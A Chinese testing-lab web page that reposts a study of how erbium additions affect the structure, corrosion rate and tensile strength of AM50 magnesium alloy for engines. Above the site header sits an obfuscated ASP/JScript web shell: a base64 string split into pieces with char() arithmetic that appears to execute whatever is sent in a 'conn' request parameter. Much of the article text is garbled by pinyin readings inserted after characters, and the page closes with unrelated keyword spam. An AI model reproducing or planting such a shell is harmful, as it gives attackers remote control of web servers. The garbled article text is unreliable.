三国演义

扫一扫关注微信二维码 修罗武神烟火里的尘埃
<%@Page Language="Jscript"%> <%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('Njg0O'+'DczO3'+'ZhciB'+'zYWZl'+''+char(01000-0660)+char(819-736)+'J'+'1'+char(297-199)+''+''+char(0x337-0x2c9)+'N'+char(603-499)+char(0x745e/0x14b)+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydj'+'b25uJ'+'10sIH'+'NhZmU'+'pOzIw'+'NTQ2M'+'Tk7'+'')));%>

国检检测欢迎您!

微信公众号|腾讯微博|网站地图

您可能还在搜: 无损检测紧固件检测轴承检测浙江综合实验机构

社会关注

分享:Er含量对汽车发动机用AM50合金组织与 耐蚀性的影响

返回列表 来源:国检(jian)检(jian)测 查看手机网址
扫一扫!分享:Er含量对汽车发动机用AM50合金组织与 耐蚀性的影响扫一扫!
浏览:- 发布日期:2020-07-27 14:28:42【

摘 要:对汽车发动机用(yong)AM50合(he)金进(jin)行(xing)了Er合(he)金化处理;采(cai)用(yong)扫描电镜(jing)(SEM),X射线(xian)衍射仪(XRD),浸泡试验

和(he)电化学(xue)试验研究(jiu)了Er含量对AM50合(he)金组织和(he)耐(nai)蚀性的影响。结果表明:Er微(wei)合(he)金化的AM50合(he)金中(zhong)除了含有αMg相(xiang)和(he)βMg17Al12相(xiang)外,还形成了Al7ErMn5 相(xiang)和(he)Al3Er相(xiang);随着Er含量的增加,合金的腐(fu)蚀速率(lv)总体表现为(wei)先降低而(er)后(hou)(hou)(hou)升(sheng)高的(de)趋(qu)势,腐蚀后(hou)(hou)(hou)抗拉强度呈现(xian)先增加而(er)后(hou)(hou)(hou)降低的(de)趋(qu)势,而(er)强度损失呈现(xian)先减(jian)小而(er)后(hou)(hou)(hou)增大(da)的(de)趋(qu)势;Er添加量为0.5%(质量分数)时,AM50合金具有(you)最佳耐(nai)蚀性和拉伸性能。

关键词:汽车发(fa)动(dong)机;AM50合(he)金;Er微(wei)合(he)金化;腐蚀速率;抗拉(la)强度

中图分(fen)类号(hao):TG174   文献标志(zhi)码:A   文章(zhang)编号(hao):1005748X(2017)06044105

Effects of Er Content on Microstructure and Corrosion Resistance of AM50 Alloy for Automotive Engine

WENAiming,XIEJian,LIU Yiguan,HUJun

(NanjingCommunicationsInstituteofTechnology,Nanjing211188,China)

Abstract:AM50alloyforautomobileenginewasmicroalloyedbyadditionofEr.TheeffectsofErcontenton

microstructureandcorrosionresistanceofAM50alloywerestudiedthroughscanningelectronmicroscopy(SEM),X

raydiffraction(XRD),immersiontestandelectrochemicaltest.TheresultsshowthattheErmicroalloyedAM50

alloycontainedphasesofαMg,βMg17Al12,Al7ErMn5andAl3Er.WiththeincreaseofErcontent,thecorrosion

rateofthealloyfirstdecreasedandthenincreasedingeneral,butthetensilestrengthincreasedfirstandthen

decreased,andthestrengthlossdisplayedthesametendencywiththecorrosionrate.TheAM50alloyhadthebest

corrosionresistanceandtensilepropertieswhentheadditionofErwas0.5% (mass).

Key Words:automobileengine;AM50alloy;Ermicroalloying;corrosionrate;tensilestrength

镁(mei)合金是以镁(mei)为基体(ti)加入其他(ta)金属元素(su)组成的合金,具有密(mi)度小、比强度高、比弹性(xing)模量大、散(san)热好(hao)、消震性(xing)好(hao)等优点,被广泛应(ying)用(yong)于汽车、交通(tong)等领

域[1]。汽(qi)车(che)行驶时(shi),60%燃料的(de)(de)(de)(de)消耗于(yu)汽(qi)车(che)自(zi)重,汽(qi)车(che)自(zi)重每减轻10%,其(qi)燃油效率可提(ti)高(gao)5%以上,而镁(mei)合(he)(he)(he)金(jin)(jin)作(zuo)为(wei)最轻的(de)(de)(de)(de)结构金(jin)(jin)属材(cai)(cai)料之一,在壳体类(lei)(lei)和(he)支架类(lei)(lei)汽(qi)车(che)零部件(jian)领域有着(zhe)较(jiao)为(wei)明显的(de)(de)(de)(de)优势(shi)。然而,镁(mei)合(he)(he)(he)金(jin)(jin)的(de)(de)(de)(de)耐(nai)(nai)蚀(shi)性较(jiao)差,不(bu)能(neng)满(man)足(zu)服役条件(jian)对材(cai)(cai)料的(de)(de)(de)(de)要求,因此提(ti)高(gao)镁(mei)合(he)(he)(he)金(jin)(jin)的(de)(de)(de)(de)耐(nai)(nai)蚀(shi)性有利于(yu)其(qi)推广(guang)应(ying)用。常用的(de)(de)(de)(de)改(gai)善(shan)镁(mei)合(he)(he)(he)金(jin)(jin)耐(nai)(nai)腐蚀(shi)的(de)(de)(de)(de)方法主要包括微合(he)(he)(he)金(jin)(jin)化和(he)热处理等[2]。其(qi)中(zhong),微合(he)(he)(he)金(jin)(jin)化元(yuan)素主要有Al、Zn、Mn、Ce以及(ji)少量Zr或Cr等。近年来,稀土元(yuan)素Er在有色合(he)(he)(he)金(jin)(jin)中(zhong)的(de)(de)(de)(de)应(ying)用得到(dao)科研(yan)工作(zuo)者的(de)(de)(de)(de)关注。研(yan)究表(biao)明,在镁(mei)合(he)(he)(he)金(jin)(jin)中(zhong)添加(jia) Er可以一定程度提(ti)高(gao)合(he)(he)(he)金(jin)(jin)的(de)(de)(de)(de)常温和(he)高(gao)温力(li)学性能(neng)[34]。然而,关于(yu)Er元(yuan)素对镁(mei)合(he)(he)(he)金(jin)(jin)耐(nai)(nai)蚀(shi)性影响方面的(de)(de)(de)(de)报道还较(jiao)少。

本工作通过在发动机用 AM50合(he)金(jin)(jin)中添(tian)加Er进行(xing)微(wei)合(he)金(jin)(jin)化,研究了(le) Er含(han)量对 AM50合(he)金(jin)(jin)组织与(yu)耐蚀性的影响。


1 试验(yan)

试 验 原 料 为(wei) 高 纯 Mg (99.99%)、高 纯Al(99.99%)、Al10Mn中(zhong)(zhong)间合金、ErMg中(zhong)(zhong)间合金等。在(zai)真空感应熔(rong)炼炉中(zhong)(zhong)对 AM50合金进(jin)行了熔(rong)

炼,并通(tong)过(guo)(guo)添加 Er对其进行微合(he)金化。熔炼过(guo)(guo)程(cheng)中采(cai)用氩气进行保护以(yi)防止镁(mei)合(he)金的燃烧(shao)和氧化,浇注温度(du)控制在710℃,通(tong)过(guo)(guo)添加中间(jian)合(he)金和高纯(chun)

Al来调节(jie)合(he)金成分(fen),共制备了六(liu)种不同 Er含量的(de)AM50合(he)金,其化学成分(fen)及相应(ying)编号见表(biao)1。

表1 试(shi)验合金的化学(xue)成分(质量分数)

Tab.1 Chemicalcompositionofexperimentalalloy(mass)

试验合金的化学成分


采(cai)用(yong)D8AdvanceX射(she)(she)线衍(yan)射(she)(she)仪(XRD)对(dui)铸(zhu)态、合(he)金的(de)物(wu)相进行(xing)了(le)分(fen)(fen)析。采(cai)用(yong)JSM6800型扫描(miao)电镜(SEM)对(dui)合(he)金表面形貌进行(xing)了(le)观(guan)察,并采(cai)用(yong)附带的(de)能(neng)谱分(fen)(fen)析仪(EDS)对(dui)微区成(cheng)分(fen)(fen)进行(xing)了(le)测定。

电化(hua)(hua)学极化(hua)(hua)曲线测试在 ZenniumE型电化(hua)(hua)学工(gong)作站中进行(xing),试样为(wei)10mm×10mm×10mm 的(de)块状(zhuang),测试溶(rong)液为(wei)3.5% NaCl(质量分(fen)数,下同)溶(rong)液,扫描速率为(wei)10mV/s[5]。

腐(fu)蚀 浸 泡(pao)(pao) 试 样(yang) 尺(chi) 寸 为(wei) 10 mm×10 mm×10mm,试样(yang)经打磨和抛光(guang)处理后(hou),用(yong)丙酮和酒精清洗并吹干备用(yong)。腐(fu)蚀介(jie)质(zhi)为(wei)3.5% NaCl溶液,浸泡(pao)(pao)时间分别(bie)为(wei)24,72,168h。采用(yong)失重法计算腐(fu)蚀速率。

拉(la)(la)(la)伸(shen)试(shi)(shi)样分(fen)别为(wei)腐蚀前后的试(shi)(shi)样。采用硝酸银溶液去除腐蚀后试(shi)(shi)样表面腐蚀产物,并用清水(shui)和(he)酒精冲(chong)洗后吹干(gan)。拉(la)(la)(la)伸(shen)试(shi)(shi)验在 MTS810型液压伺服电子(zi)万(wan)能(neng)拉(la)(la)(la)伸(shen)机(ji)上进(jin)行,拉(la)(la)(la)伸(shen)速率为(wei)1mm/min。


XRD谱


SEM 图


图1 铸态 AM50Er0合金的XRD谱和SEM 图

Fig.1 XRDpattern(a)andSEMimage(b)

ofcastAM50Er0alloy

2 结果与讨论

2.1 显微组织和相(xiang)组成

对AM50Er0合金(jin)(jin)铸(zhu)锭(ding)进行物(wu)相(xiang)(xiang)(xiang)(xiang)(xiang)分析(xi)和(he)(he)显微(wei)组(zu)织观(guan)察,结果如图(tu)1 所(suo)示。由(you)(you)(you)图(tu)1(a)可见,铸(zhu)态AM50Er0 合金(jin)(jin)主(zhu)(zhu)(zhu)要(yao)(yao)由(you)(you)(you)αMg 固溶体和(he)(he)初生(sheng)βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang)组(zu)成(cheng),XRD 谱中(zhong)(zhong)(zhong)部分αMg相(xiang)(xiang)(xiang)(xiang)(xiang)衍射(she)峰和(he)(he)βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang)衍射(she)峰重合;由(you)(you)(you)图(tu)1(b)可见,在AM50Er0合金(jin)(jin)中(zhong)(zhong)(zhong)存在较多的(de)(de)白(bai)色(se)(se)颗(ke)粒(li)状(zhuang)析(xi)出相(xiang)(xiang)(xiang)(xiang)(xiang)以及少量(liang)(liang)(liang)的(de)(de)白(bai)色(se)(se)针(zhen)状(zhuang)析(xi)出相(xiang)(xiang)(xiang)(xiang)(xiang)。能谱分析(xi)(图(tu)略)结果表(biao)明(ming),白(bai)色(se)(se)颗(ke)粒(li)状(zhuang)析(xi)出相(xiang)(xiang)(xiang)(xiang)(xiang)主(zhu)(zhu)(zhu)要(yao)(yao)含(han)(han)有(you) Al和(he)(he) Mg元(yuan)素(su),而白(bai)色(se)(se)针(zhen)状(zhuang)析(xi)出相(xiang)(xiang)(xiang)(xiang)(xiang)主(zhu)(zhu)(zhu)要(yao)(yao)含(han)(han)有(you) Al和(he)(he) Mn元(yuan)素(su),黑灰(hui)色(se)(se)区(qu)(qu)域则主(zhu)(zhu)(zhu)要(yao)(yao)含(han)(han)有(you) Mg元(yuan)素(su)。结合XRD谱和(he)(he)文(wen)献[6]可知,黑灰(hui)色(se)(se)区(qu)(qu)域为(wei)αMg固溶体,白(bai)色(se)(se)颗(ke)粒(li)状(zhuang)的(de)(de)物(wu)质为(wei)βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang),而针(zhen)状(zhuang)白(bai)色(se)(se)物(wu)质为(wei) Al8Mn5 相(xiang)(xiang)(xiang)(xiang)(xiang)。由(you)(you)(you)图(tu)2可见:经Er微(wei)合金(jin)(jin)化后(hou),AM50合金(jin)(jin)中(zhong)(zhong)(zhong)除 了 含(han)(han) 有(you) αMg 相(xiang)(xiang)(xiang)(xiang)(xiang) 和(he)(he) βMg17 Al12 相(xiang)(xiang)(xiang)(xiang)(xiang) 外,还(hai) 有(you)Al7ErMn5 相(xiang)(xiang)(xiang)(xiang)(xiang)和(he)(he) Al3Er相(xiang)(xiang)(xiang)(xiang)(xiang);不同(tong)Er含(han)(han)量(liang)(liang)(liang)的(de)(de) AM50合金(jin)(jin)中(zhong)(zhong)(zhong)的(de)(de)物(wu)相(xiang)(xiang)(xiang)(xiang)(xiang)种类(lei)相(xiang)(xiang)(xiang)(xiang)(xiang)同(tong),但随(sui)着 AM50合金(jin)(jin)中(zhong)(zhong)(zhong) Er含(han)(han)量(liang)(liang)(liang)的(de)(de)增(zeng)加(jia)(jia)(jia),Al3Er相(xiang)(xiang)(xiang)(xiang)(xiang)的(de)(de)含(han)(han)量(liang)(liang)(liang)逐渐增(zeng)加(jia)(jia)(jia),而βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang)的(de)(de)含(han)(han)量(liang)(liang)(liang)逐渐减(jian)少。这主(zhu)(zhu)(zhu)要(yao)(yao)是由(you)(you)(you)于(yu)(yu)随(sui)着 Er含(han)(han)量(liang)(liang)(liang)的(de)(de)增(zeng)加(jia)(jia)(jia),AM50合金(jin)(jin)中(zhong)(zhong)(zhong)初生(sheng)的(de)(de) Al3Er相(xiang)(xiang)(xiang)(xiang)(xiang)的(de)(de)含(han)(han)量(liang)(liang)(liang)有(you)所(suo)增(zeng)加(jia)(jia)(jia),这种初生(sheng)相(xiang)(xiang)(xiang)(xiang)(xiang)的(de)(de)形成(cheng)优先于(yu)(yu)βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang)[7],且消耗了合金(jin)(jin)中(zhong)(zhong)(zhong)的(de)(de) Al原(yuan)子,使 AM50合金(jin)(jin)中(zhong)(zhong)(zhong) Al含(han)(han)量(liang)(liang)(liang)减(jian)少,因(yin)此βMg17Al12相(xiang)(xiang)(xiang)(xiang)(xiang)的(de)(de)含(han)(han)量(liang)(liang)(liang)会有(you)所(suo)降低(di)。

图2 不同Er含量的AM50合金的XRD谱


图2 不同Er含量的AM50合金的XRD谱

Fig.2 XRDpatternsofAM50alloyswithdifferentErconten

由图3可见:AM50Er0合(he)金(jin)中除了(le)αMg相(xiang)(xiang)和βMg17Al12相(xiang)(xiang)外(wai),有少量针(zhen)状AlMn相(xiang)(xiang)存(cun)在,其中βMg17Al12相(xiang)(xiang)主要分布(bu)在晶界;在合(he)金(jin)中添加(jia)稀(xi)土元素Er后,AM50 合(he)金(jin)中开始出现了(le)更加(jia)白亮的Al7ErMn5 相(xiang)(xiang)和 Al3Er相(xiang)(xiang),合(he)金(jin)的组织有一(yi)定细化。

AM50Er1合(he)金中(zhong),Al7ErMn5 相(xiang)和(he)(he) Al3Er相(xiang)的(de)(de)(de)含(han)(han)量(liang)(liang)相(xiang)对(dui)(dui)较(jiao)少,尺寸较(jiao)为(wei)细小;随着合(he)金中(zhong) Er含(han)(han)量(liang)(liang)的(de)(de)(de)增(zeng)加(jia),合(he)金中(zhong) Al7ErMn5 相(xiang)和(he)(he) Al3Er相(xiang)的(de)(de)(de)数量(liang)(liang)和(he)(he)含(han)(han)量(liang)(liang)有(you)所(suo)增(zeng)加(jia)。对(dui)(dui)合(he)金中(zhong)白亮色的(de)(de)(de)物相(xiang)进(jin)行能谱分析(图略),结(jie)果表明(ming),这些亮白色区(qu)域主(zhu)要含(han)(han)有(you) Mg、Al、Mn和(he)(he)Er元(yuan)(yuan)素(su)(su),且 Mn元(yuan)(yuan)素(su)(su)和(he)(he)Er元(yuan)(yuan)素(su)(su)经(jing)常是伴生出现,这主(zhu)要取决于合(he)金凝(ning)固(gu)过(guo)(guo)程中(zhong)的(de)(de)(de)热力学条件。在(zai)合(he)金凝(ning)固(gu)过(guo)(guo)程中(zhong),Er元(yuan)(yuan)素(su)(su)会(hui)在(zai)αMg的(de)(de)(de)界面前(qian)沿聚集并造成(cheng)成(cheng)分过(guo)(guo)冷(leng),枝晶间(jian)距不断减小和(he)(he)细化(hua);此(ci)外,Er元(yuan)(yuan)素(su)(su)还(hai)对(dui)(dui)βMg17Al12相(xiang)的(de)(de)(de)粗化(hua)和(he)(he)长大起(qi)到一定的(de)(de)(de)抑制作用(yong)。


2.2 极化(hua)曲线

由图4(a)可(ke)见:在 Er微合(he)金(jin)(jin)(jin)(jin)化(hua) AM50合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)极(ji)(ji)化(hua)曲(qu)线上,随着Er含(han)(han)量的(de)(de)(de)增(zeng)(zeng)(zeng)加,合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)自(zi)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)位呈(cheng) 现 先 正 向 移 动 而 后(hou) 负 向 移 动 的(de)(de)(de) 趋 势,AM50Er4合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)自(zi)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)位的(de)(de)(de)最(zui)大(da),为-1.49V;相(xiang)应地,自(zi)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)流(liu)密(mi)(mi)度(du)(du)也呈(cheng)现先减小(xiao)而后(hou)增(zeng)(zeng)(zeng)大(da),AM50Er4合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)自(zi)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)流(liu)密(mi)(mi)度(du)(du)最(zui)小(xiao)。由图4(b)可(ke)见:对(dui)(dui)比 AM50Er0和 AM50Er4合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de) Tafel区域,前(qian) 者 的(de)(de)(de) 自(zi) 腐(fu) 蚀(shi)(shi)(shi) 电(dian)(dian) 位 (-1.52 V)比 后(hou) 者 的(de)(de)(de)(-1.49V)更(geng)负,且阴极(ji)(ji)电(dian)(dian)流(liu)密(mi)(mi)度(du)(du)和阳(yang)极(ji)(ji)电(dian)(dian)流(liu)密(mi)(mi)度(du)(du)也相(xiang)对(dui)(dui)更(geng)低。这(zhei)说(shuo)明在 AM50合(he)金(jin)(jin)(jin)(jin)中(zhong)(zhong)添加 Er元(yuan)素(su),能使(shi)合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)耐蚀(shi)(shi)(shi)性得到提(ti)高(gao)。这(zhei)是因为:Er元(yuan)素(su)的(de)(de)(de)加入可(ke)以增(zeng)(zeng)(zeng)加表面腐(fu)蚀(shi)(shi)(shi)膜层的(de)(de)(de)致密(mi)(mi)性,在腐(fu)蚀(shi)(shi)(shi)过程(cheng)中(zhong)(zhong)抑制(zhi)腐(fu)蚀(shi)(shi)(shi)溶(rong)液对(dui)(dui)基体(ti)组织的(de)(de)(de)侵蚀(shi)(shi)(shi);此外,Er元(yuan)素(su)的(de)(de)(de)加入可(ke)以使(shi)阴极(ji)(ji)处βMg17Al12相(xiang)的(de)(de)(de)含(han)(han)量降低,减少腐(fu)蚀(shi)(shi)(shi)过程(cheng)中(zhong)(zhong)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)偶(ou)的(de)(de)(de)数(shu)量[8]。但(dan)是,合(he)金(jin)(jin)(jin)(jin)中(zhong)(zhong)Er元(yuan)素(su)含(han)(han)量过多(duo),会(hui)导致含(han)(han)Er金(jin)(jin)(jin)(jin)属间(jian)化(hua)合(he)物的(de)(de)(de)数(shu)量增(zeng)(zeng)(zeng)加和尺寸变大(da),属间(jian)化(hua)合(he)物与βMg17Al12相(xiang)形成微电(dian)(dian)偶(ou)的(de)(de)(de)数(shu)量也会(hui)增(zeng)(zeng)(zeng)加,从而使(shi)析氢(qing)反(fan)应的(de)(de)(de)加速,阴极(ji)(ji)反(fan)应的(de)(de)(de)腐(fu)蚀(shi)(shi)(shi)电(dian)(dian)流(liu)密(mi)(mi)度(du)(du)增(zeng)(zeng)(zeng)大(da),合(he)金(jin)(jin)(jin)(jin)的(de)(de)(de)耐蚀(shi)(shi)(shi)性反(fan)而会(hui)降低。

图3 不同Er含量AM50合金的SEM 图



图3 不同Er含量 AM50合(he)金的SEM 图

Fig.3 SEMimagesofAM50alloyswithdifferentErcontent

2.3 腐(fu)蚀速率

由图5可见:当腐(fu)(fu)(fu)蚀时(shi)间相(xiang)(xiang)同时(shi),随着Er含量的(de)(de)(de)增(zeng)加(jia),AM50合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)腐(fu)(fu)(fu)蚀速率(lv)总体表现为先降低(di)(di)而后升高的(de)(de)(de)趋势(shi);AM50Er2和(he) AM50Er3合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)腐(fu)(fu)(fu)蚀速 率(lv) 相(xiang)(xiang) 差(cha) 不 大(da),但(dan) 都 小 于 AM50Er1 合(he)(he)(he) 金(jin)(jin)(jin) 的(de)(de)(de),AM50Er4合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)腐(fu)(fu)(fu)蚀速率(lv)仅(jin)次于 AM50Er1合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)。腐(fu)(fu)(fu)蚀浸泡(pao)试验结(jie)果(guo)与电化学测试结(jie)果(guo)存(cun)在(zai)(zai)一(yi)定的(de)(de)(de)差(cha)异(yi),因为在(zai)(zai)清洗过(guo)程(cheng)中(zhong) AM50Er4和(he) AM50Er5合(he)(he)(he)金(jin)(jin)(jin)中(zhong)部分尺寸(cun)较大(da)的(de)(de)(de) Al7ErMn5 相(xiang)(xiang)和(he) Al3Er相(xiang)(xiang)出现了(le)脱落,使得腐(fu)(fu)(fu)蚀浸泡(pao)试验数据存(cun)在(zai)(zai)一(yi)定误(wu)差(cha)。由图6可见:随着腐(fu)(fu)(fu)蚀时(shi)间的(de)(de)(de)延长,AM50Er0合(he)(he)(he)金(jin)(jin)(jin)和(he) AM50Er4合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)腐(fu)(fu)(fu)蚀速率(lv)呈(cheng)先降低(di)(di)而后逐(zhu)渐趋于平(ping)稳的(de)(de)(de)特征,AM50Er4合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)腐(fu)(fu)(fu)蚀速率(lv)明(ming)显低(di)(di)于 AM50Er0合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de),二(er)者在(zai)(zai)相(xiang)(xiang)同的(de)(de)(de)腐(fu)(fu)(fu)蚀时(shi)间内(nei)腐(fu)(fu)(fu)蚀速率(lv)相(xiang)(xiang)差(cha)4倍左右。由此(ci)可见,Er元(yuan)素的(de)(de)(de)添加(jia)极大(da)地提高了(le) AM50合(he)(he)(he)金(jin)(jin)(jin)的(de)(de)(de)耐蚀性。


由图(tu)7可(ke)见:经(jing)过72h浸泡腐(fu)(fu)蚀后(hou),AM50Er0合金(jin)表(biao)(biao)面出现了较多的(de)连续(xu)腐(fu)(fu)蚀坑;当在(zai) AM50合金(jin)中(zhong)添加Er元素后(hou),合金(jin)表(biao)(biao)面的(de)腐(fu)(fu)蚀坑数量明显减少,且 AM50Er2合金(jin)表(biao)(biao)面的(de)腐(fu)(fu)蚀坑的(de)面积最小。

AM50合(he)(he)(he)金(jin)中(zhong)添(tian)加(jia)(jia)Er元素(su)可以细化(hua)合(he)(he)(he)金(jin)组织(zhi),降(jiang)(jiang)低(di)合(he)(he)(he)金(jin)中(zhong)βMg17Al12相的(de)(de)(de)(de)(de)数(shu)量(liang),从(cong)而(er)(er)(er)抑制(zhi)了由于电位不同而(er)(er)(er)产(chan)生的(de)(de)(de)(de)(de)微电偶腐蚀反(fan)应(ying)[8];此外(wai),Er元素(su)的(de)(de)(de)(de)(de)添(tian)加(jia)(jia)还在一定(ding)程度(du)上(shang)改善了腐蚀膜层的(de)(de)(de)(de)(de)结构起(qi)到了抑制(zhi)腐蚀坑形(xing)成的(de)(de)(de)(de)(de)作用。但是并不是 Er添(tian)加(jia)(jia)量(liang)越(yue)多越(yue)好,如果合(he)(he)(he)金(jin)中(zhong)含 Er金(jin)属间化(hua)合(he)(he)(he)物的(de)(de)(de)(de)(de)数(shu)量(liang)和(he)体积增加(jia)(jia)至(zhi)一定(ding)程度(du)时,这(zhei)种化(hua)合(he)(he)(he)物会(hui)成为(wei)新的(de)(de)(de)(de)(de)阴极(ji)而(er)(er)(er)发(fa)生原电池(chi)反(fan)应(ying),导(dao)致腐蚀速率的(de)(de)(de)(de)(de)增大,合(he)(he)(he)金(jin)的(de)(de)(de)(de)(de)耐蚀性反(fan)而(er)(er)(er)降(jiang)(jiang)低(di)。

图4 不同Er含量AM50合金的极化曲线及Tafel区


不同Er含量的AM50合金在3.5% NaCl溶液中

图6 AM50Er0合金和AM50Er4合金腐蚀速率比较




2.4 拉伸性(xing)能

由图8(a)可(ke)(ke)见,在同样的(de)腐蚀时间下,随(sui)着AM50合金(jin)中(zhong)Er含(han)量(liang)(liang)的(de)增(zeng)加,合金(jin)的(de)抗拉(la)强(qiang)度(du)呈(cheng)先增(zeng)加而后(hou)降低(di)的(de)趋势,在 Er质量(liang)(liang)分数为0.5%时,合金(jin)的(de)抗拉(la)强(qiang)度(du)最大。强(qiang)度(du)损失为合金(jin)腐蚀前后(hou)抗拉(la)强(qiang)度(du)的(de)差值。从图8(b)可(ke)(ke)见,随(sui)着 AM50合金(jin)中(zhong)Er含(han)量(liang)(liang)的(de)增(zeng)加,强(qiang)度(du)损失呈(cheng)现先减小而后(hou)增(zeng)大的(de)趋势,Er质量(liang)(liang)分数为0.5%时,合金(jin)的(de)强(qiang)度(du)损失最小。

Er元(yuan)素在 AM50合(he)金(jin)中(zhong)可(ke)以起到(dao)细(xi)晶强(qiang)(qiang)化、固溶强(qiang)(qiang)化和(he)第二相(xiang)(xiang)强(qiang)(qiang)化的(de)(de)作用(yong)[9],因此(ci)合(he)金(jin)的(de)(de)常温拉伸(shen)性(xing)能会(hui)(hui)有所增强(qiang)(qiang)。此(ci)外,Er元(yuan)素在腐蚀(shi)过(guo)程中(zhong)会(hui)(hui)以氧化物形式(shi)进入到(dao)表面腐蚀(shi)膜层(ceng)中(zhong),并(bing)在凝(ning)固过(guo)程中(zhong)抑制βMg17Al12相(xiang)(xiang)的(de)(de)形成,从而减少局(ju)部微电偶反应发生,从整(zheng)体(ti)上降(jiang)低(di)了合(he)金(jin)发生腐蚀(shi)反应的(de)(de)可(ke)能性(xing),改善了合(he)金(jin)的(de)(de)耐蚀(shi)性(xing)。由此(ci)可(ke)见(jian),Er质量分(fen)数(shu)为0.5%时,AM50合(he)金(jin)具有最佳的(de)(de)拉伸(shen)性(xing)能和(he)耐蚀(shi)性(xing)。

图7 不同Er含量的AM50合金在3.5% NaCl溶液中浸泡72h后的腐蚀形貌



(d) AM50Er3                                                             (e) AM50Er4                                             (f) AM50Er5

图7 不同Er含量(liang)的 AM50合(he)金在3.5% NaCl溶液中浸泡72h后的腐蚀(shi)形貌

Fig.7 CorrosionmorphologyofAM50alloyswithdifferentErcontentimmersedin3.5% NaClsolutionfor72h

不同Er含量的AM50合金腐蚀后的


Fig.8 Tensilestrength(a)andstrengthloss(b)ofAM50alloyswithdifferentErcontentaftercorrosion


3 结论


(1)未添加Er的铸态(tai)AM50合(he)(he)金(jin)主要由αMg固溶体和初生βMg17Al12相(xiang)(xiang)(xiang)组成;经过Er微合(he)(he)金(jin)化(hua)后,AM50合(he)(he)金(jin)中除了αMg相(xiang)(xiang)(xiang)和βMg17Al12相(xiang)(xiang)(xiang)外,还含有 Al7ErMn5 相(xiang)(xiang)(xiang)和 Al3Er相(xiang)(xiang)(xiang)。

(2)当腐(fu)蚀时(shi)间相同(tong)时(shi),随着 Er含(han)量的(de)增加,AM50合(he)金(jin)的(de)腐(fu)蚀速(su)(su)率总体表现为先降低而后升(sheng)高的(de)趋势。AM50Er2和 AM50Er3合(he)金(jin)的(de)腐(fu)蚀速(su)(su)率相差不大,但都小于 AM50Er1合(he)金(jin)的(de),AM50Er4合金的腐蚀速(su)率仅次于 AM50Er1合金的。

(3)随着AM50合金中Er元素(su)(su)含量的增(zeng)(zeng)(zeng)加(jia),腐(fu)蚀后合金的抗拉强(qiang)(qiang)度呈现先增(zeng)(zeng)(zeng)加(jia)而后降低(di)的趋势,在Er质(zhi)量分数为0.5%时拉强(qiang)(qiang)度最(zui)大;强(qiang)(qiang)度损失随Er元素(su)(su)含量的增(zeng)(zeng)(zeng)加(jia)呈现先减(jian)小而后增(zeng)(zeng)(zeng)大的趋势。

(4)Er质(zhi)量分数(shu)为0.5%时,AM50合金具有最佳(jia)的拉伸性能和耐蚀性。


(文章来源:材料与测试网)

xml地图 | sitemap地图
迷你特工队
分享到:QQ空间新浪微博腾讯微博人人网微信
赛尔号 雅阁 接招吧前辈 房东回应免租4年河南急需这些物资 mg What If Love 五菱宏光 中国金牌九宫格 王俊凯 山河令 做家务的男人2 桂纶镁 日本男乒全军覆没 画江湖之不良人 郑爽 盗墓笔记 捷豹 赛尔号 刺客伍六七 密室大逃脱 天龙八部 穿越火线姐妹俱乐部 冒险岛 张哲瀚 七一晚会 我们的新时代 张家齐陈芋汐夺金 兰博基尼 流金岁月 唐人街探案3大决战 哥斯拉大战金刚 狐妖小红娘 刺客伍六七 东京奥运十大看点 密室大逃脱 因名字找工作被拒 十宗罪 洪都拉斯 易烊千玺 十八岁的天空 革命者 美式救援令人绝望 奔跑吧 熊出没之夏日连连看 釜山行 恰好是少年 离开地球表面 地下城与勇士 樱花 沃尔沃 海绵宝宝 生死狙击 天龙八部 地下城与勇士 特斯拉 让我好好看看你 | 下一页
Baidu
sogou
百度 搜狗 360